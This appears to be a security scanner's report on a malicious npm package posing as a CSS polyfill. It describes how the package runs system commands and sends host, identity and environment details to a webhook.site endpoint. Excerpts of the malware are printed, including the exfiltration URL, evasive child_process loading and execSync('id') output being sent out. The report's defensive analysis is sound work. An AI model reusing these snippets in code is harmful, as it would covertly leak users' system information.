registry / Data exfiltration / css-reading-display-polyfill
css-reading-display-polyfill
Polyfill for CSS reading-flow property
This report shows the evidence for css-reading-display-polyfill@1.0.0, the only known version.
AI Security Review
scanned 16d ago · by lpm-firewall-aiThe registry script contains active command execution and external transmission of collected system information, behavior unrelated to the stated CSS polyfill purpose. This is concrete malicious data exfiltration, so block publication.
Static reason
One or more suspicious static signals were detected.
Trigger
Loading thunderboltRegistry.js through a registry entry.
Impact
System and environment information is disclosed to an external endpoint.
Mechanism
The script invokes child_process commands to collect identity, environment, host, and network details, then sends encoded results through fetch and HTTPS requests.
Attack narrative
The package’s registry manifest points multiple registry entries to thunderboltRegistry.js. When loaded, that file runs system commands, collects host and environment information, and sends results to a fixed webhook endpoint.
AI rationale
The registry script contains active command execution and external transmission of collected system information, behavior unrelated to the stated CSS polyfill purpose. This is concrete malicious data exfiltration, so block publication.
Evidence
thunderboltRegistry.jsregistry-manifest.min.json
Network endpoints1
webhook.site/69bcd627-1871-4dda-b880-83b37ceac418
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The published registry manifest maps registry entries to this package’s thunderboltRegistry.js.
- Loading thunderboltRegistry.js immediately gathers host details and sends requests to webhook.site.
- The file runs system commands and sends their output, including environment and network information, to that endpoint.
- The package describes itself as a CSS polyfill, which does not explain the command execution or data transmission.
Evidence against
Behavioral surface
ChildProcessNetworkShell
HighEntropyStringsUrlStrings
Source & flagged code
6 flagged · loading sourcethunderboltRegistry.jsView file
10L11: var wh = "https://webhook.site/69bcd627-1871-4dda-b880-83b37ceac418";
L12: var site = "unknown";
L13: try { site = require("os").hostname(); } catch(e) {}
L14: var exfil = function(params) {
...
L22: var cp = null;
L23: try { cp = require("child_process"); } catch(e) {}
L24: try { if (!cp) cp = require("node:child_process"); } catch(e) {}
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
thunderboltRegistry.jsView on unpkg · L1011var wh = "https://webhook.site/69bcd627-1871-4dda-b880-83b37ceac418";
var site = "unknown";
try { site = require("os").hostname(); } catch(e) {}
var exfil = function(params) {
try { fetch(wh +
High
Ai Review Evidence
Loading thunderboltRegistry.js immediately gathers host details and sends requests to webhook.site.
thunderboltRegistry.jsView on unpkg · L1125try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"); } } catch(e) {}
if (cp && typeof cp.execSync === "function") {
try {
var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim();
exfil("cmd=id&out=" + encodeURIComponent(idout));
Findings
6 High2 Medium2 Low
HighSandbox Evasion Gated CapabilitythunderboltRegistry.js
HighAi Review Evidencepackage.json
HighAi Review Evidenceregistry-manifest.min.json
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to css-reading-display-polyfill@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing css-reading-display-polyfill@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.